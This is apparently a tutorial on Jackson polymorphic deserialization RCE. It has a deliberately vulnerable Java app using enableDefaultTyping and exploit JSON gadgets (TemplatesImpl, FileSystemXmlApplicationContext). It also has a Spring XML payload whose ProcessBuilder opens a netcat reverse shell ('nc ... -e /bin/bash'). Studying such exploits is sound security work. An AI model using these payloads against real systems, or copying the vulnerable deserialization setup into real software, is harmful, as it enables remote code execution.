Java Deserializer (example 2)
Jackson Deserialization Vulnerability
Jackson is a Java library which allow to serialize POJO (Plain Old Java Objects) to JSON and deserialize JSON to POJO. It is possible to exploit a vulnerability by leveraging the Polymorphic Type Handling.
Code version 1
App.java
package com.michalszalkowski;
import java.io.File;
import com.fasterxml.jackson.databind.ObjectMapper;
public class App {
public static void main(String[] args) throws Exception {
if(args[0].equals("serialize")) {
serializeObject();
}
if(args[0].equals("deserialize")) {
deserializeObject(args[1]);
}
}
private static void serializeObject() throws Exception {
ElectricEngine engine = new ElectricEngine(1,2,3);
FuelEngine engine2 = new FuelEngine(1,2,3);
Car car = new Car(
"yellow",
"fiat",
engine,
engine2
);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.writeValue(new File("car.json"), car);
}
private static void deserializeObject(String file) throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
Car newCar = objectMapper.readValue(new File(file), Car.class);
System.out.println("Car = " + newCar);
}
}
Car.java
package com.michalszalkowski;
public class Car {
public Engine engine;
public Engine secEngine;
public String color;
public String model;
public Car() {}
public Car(String color, String model, Engine eng1, Engine eng2) {
this.color = color;
this.model = model;
this.engine = eng1;
this.secEngine = eng2;
}
public String toString() {
return String.format("Car color=%s model=%s engine1=%s engine2=%s", color, model, engine, secEngine);
}
}
abstract class Engine{
public int engineModel;
public int cc;
}
ElectricEngine.java
package com.michalszalkowski;
public class ElectricEngine extends Engine{
public int maxEnergy;
public ElectricEngine(){}
public ElectricEngine(int maxEnergy, int engineModel, int cc) {
this.maxEnergy = maxEnergy;
this.engineModel = engineModel;
this.cc = cc;
}
public String toString() {
return "ElectricEngine";
}
}
FuelEngine.java
package com.michalszalkowski;
public class FuelEngine extends Engine {
public int fuel;
public FuelEngine(){}
public FuelEngine(int fuel, int engineModel, int cc) {
this.fuel = fuel;
this.engineModel = engineModel;
this.cc = cc;
}
public String toString() {
return "FuelEngine";
}
}
do.sh
mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "serialize"
cat car.json | jq
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "car.json"
expected error
because Jackson can not create an instance of an abstract type and it does not know which concrete object should be create.
Code version 2
Let see some dangerous example:
App.java
package com.michalszalkowski;
import java.io.File;
import com.fasterxml.jackson.databind.ObjectMapper;
public class App {
public static void main(String[] args) throws Exception {
if(args[0].equals("serialize")) {
serializeObject();
}
if(args[0].equals("deserialize")) {
deserializeObject(args[1]);
}
}
private static void serializeObject() throws Exception {
ElectricEngine engine = new ElectricEngine(1,2,3);
FuelEngine engine2 = new FuelEngine(1,2,3);
Car car = new Car(
"yellow",
"fiat",
engine,
engine2
);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(); // <----------
objectMapper.writeValue(new File("car.json"), car);
}
private static void deserializeObject(String file) throws Exception {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();; // <----------
Car newCar = objectMapper.readValue(new File(file), Car.class);
System.out.println("Car = " + newCar);
}
}
Car.java
package com.michalszalkowski;
public class Car {
public Object engine; // <----------
public Object secEngine; // <----------
public String color;
public String model;
public Car() {}
public Car(String color, String model, Engine eng1, Engine eng2) {
this.color = color;
this.model = model;
this.engine = eng1;
this.secEngine = eng2;
}
public String toString() {
return String.format("Car color=%s model=%s engine1=%s engine2=%s", color, model, engine, secEngine);
}
}
abstract class Engine{
public int engineModel;
public int cc;
}
do.sh
mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "serialize"
cat car.json | jq
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "car.json"
no error - We get a new instance of Car class and engine and secEngine are correctly interpreted.
cat.json
Attack
Now we modify the JSON and we add a gadget as Engine property:
exploit1.json
{
"engine":[
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes":[
"*BYTECODESHERE*"
],
"transletName":"a.b",
"outputProperties":{
}
}
],
"secEngine":[
"com.michalszalkowski.FuelEngine",
{
"engineModel": 2,
"cc": 3,
"fuel": 1
}
],
"color": "yellow",
"model": "fiat"
}
mvn clean install
java -jar target/jackson-rce-1.0-jar-with-dependencies.jar "deserialize" "exploit1.json"
We get some errors but it is possible to notice that Jackson tries instantiating a TemplatesImpl object!
This is due to to:
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is inside Java Classpath
- com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is subtype of java.lang.Object
Jackson raises an error where we can read "Invalid type id 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' (for id type 'Id.class'): Class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is not assignable to Jackson.JacksonDemo.Engine (through reference chain: Jackson.JacksonDemo.Car["secEngine"])", because TemplatesImpl is not a subtype of Engine
How can an attacker exploit this vulnerability?
It's obvious that be able to instantiate an object different from the expected one offers many opportunities for attacks. Even if there are limits to overcome:
- In order to mitigate this issue, recent versions of Jackson blacklist many potential dangerous objects.
- The getter and the setter of the gadget should call some methods useful for the attack.
Let see some gadgets working on Jackson 2.6.2:
🔥 OPEN APP - org.springframework.context.support.FileSystemXmlApplicationContext
FileSystemXmlApplicationContext is a class which reads XML Spring configuration from the file path.
exploit2.json
{
"engine":[
"org.springframework.context.support.FileSystemXmlApplicationContext",
"http://127.0.0.1:8080/spel.xml"
],
"secEngine":[
"com.michalszalkowski.FuelEngine",
{
"engineModel":0,
"cc":0,
"fuel":200
}
],
"color":null,
"model":null
}
We try to instantiate a FileSystemXMLApplicationContext which reads the spel.xml file from the localhost. The spel.xml is:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>mousepad</value>
</array>
</constructor-arg>
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
🔥 RCE - org.springframework.context.support.FileSystemXmlApplicationContext
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>nc</value>
<value>127.0.0.1</value>
<value>4444</value>
<value>-e</value>
<value>/bin/bash</value>
</array>
</constructor-arg>
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
Other Files
pom.xml
<project
xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>jackson.rce</groupId>
<artifactId>jackson-rce</artifactId>
<packaging>jar</packaging>
<version>1.0</version>
<name>jackson-rce</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>8</maven.compiler.release>
</properties>
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.6.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.michalszalkowski.App</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</plugin>
</plugins>
</build>
</project>
Source
- https://github.com/lorenzodegiorgi/jackson-vulnerability/tree/master